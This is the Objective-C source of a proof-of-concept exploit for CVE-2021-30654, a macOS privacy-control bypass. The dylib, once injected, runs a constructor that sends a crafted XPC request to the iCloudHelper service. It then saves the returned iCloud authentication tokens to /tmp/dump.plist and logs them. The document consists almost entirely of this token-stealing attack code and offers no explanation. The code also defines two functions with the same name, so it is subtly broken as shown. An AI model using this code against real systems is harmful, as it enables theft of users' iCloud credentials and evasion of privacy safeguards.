CVE-2021-30654: Bypass TCC via iCloud(garageband)

#import <Foundation/Foundation.h>

void pwn() {
    char *xpc_name = "com.apple.iCloudHelper";
    xpc_connection_t connection = xpc_connection_create(xpc_name, NULL);
    if (connection == NULL) {
        NSLog(@"[+] Couldn't create connection, exiting...");
        exit(-1);
    }
    
    xpc_connection_set_event_handler(connection, ^(xpc_object_t event) {
        NSLog(@"[<] Got event %@", event);
    });
    
    xpc_connection_resume(connection);
    
    NSLog(@"Got client %@", connection);
    pid_t pidOfRemotePeer = xpc_connection_get_pid(connection);
    NSLog(@"[+] Remote peer %d", pidOfRemotePeer);
    NSLog(@"[+] My PID %d", [[NSProcessInfo processInfo] processIdentifier]);

    xpc_object_t message = xpc_dictionary_create(NULL, NULL, 0);
    
    // string clientUid
    NSString *uidstring = [NSString stringWithFormat:@"%d", getuid()];
    xpc_object_t clientUid = xpc_string_create([uidstring cStringUsingEncoding:NSUTF8StringEncoding]);
    
    // dict payload
    // int64 action
    // double clientTimestamp
    // string accountName
    xpc_object_t payload = xpc_dictionary_create(NULL, NULL, 0);
    xpc_object_t action = xpc_int64_create(4);
    xpc_object_t clientTimestamp = xpc_double_create(13123123);
    NSString *appleID = @(getenv("APPLE_ID"));
    xpc_object_t accountName = xpc_string_create([appleID cStringUsingEncoding:NSUTF8StringEncoding]);
    
    // string clientID
    xpc_object_t clientID = xpc_string_create("blog.wojciechregula.pwn");
    
    // mach_send_right sessionPort
    xpc_object_t sessionPort = xpc_string_create("INVALIDPORT");
    
    // string sessionID
    xpc_object_t sessionID = xpc_string_create("100006");
    
    // string clientGUIAccess
    xpc_object_t clientGUIAccess = xpc_string_create("1");
    
    // string clientKeychainAccess
    xpc_object_t clientKeychainAccess = xpc_string_create("111");
    
    xpc_dictionary_set_value(message, "clientUid", clientUid);
    xpc_dictionary_set_value(message, "payload", payload);
    xpc_dictionary_set_value(payload, "action", action);
    xpc_dictionary_set_value(payload, "clientTimestamp", clientTimestamp);
    xpc_dictionary_set_value(payload, "accountName", accountName);
    xpc_dictionary_set_value(message, "clientID", clientID);
    xpc_dictionary_set_value(message, "sessionPort", sessionPort);
    xpc_dictionary_set_value(message, "sessionID", sessionID);
    xpc_dictionary_set_value(message, "clientGUIAccess", clientGUIAccess);
    xpc_dictionary_set_value(message, "clientKeychainAccess", clientKeychainAccess);
    
    xpc_object_t reply = xpc_connection_send_message_with_reply_sync(connection, message);
    NSLog(@"reply is %@", reply);
    
    NSString *debugDescription = [NSString stringWithCString:xpc_copy_description(reply) encoding:NSUTF8StringEncoding];
    NSLog(@"[<] Debug description: %@", debugDescription);
    
    xpc_object_t result = xpc_dictionary_get_value(reply, "result");
    NSData *data = [NSData dataWithBytes:xpc_data_get_bytes_ptr(result) length:xpc_data_get_length(result)];
    [data writeToFile:@"/tmp/dump.plist" atomically:YES]; // save the tokens
    NSLog(@"[<] Result %@", data);
    
    NSDictionary *obj = (NSDictionary*) [NSKeyedUnarchiver unarchiveObjectWithData:data];
    NSLog(@"[<] DATA: %@", obj);
}

__attribute__((constructor)) static void pwn(int argc, const char **argv) {
    NSLog(@"[+] Dylib injected");
    pwn();
}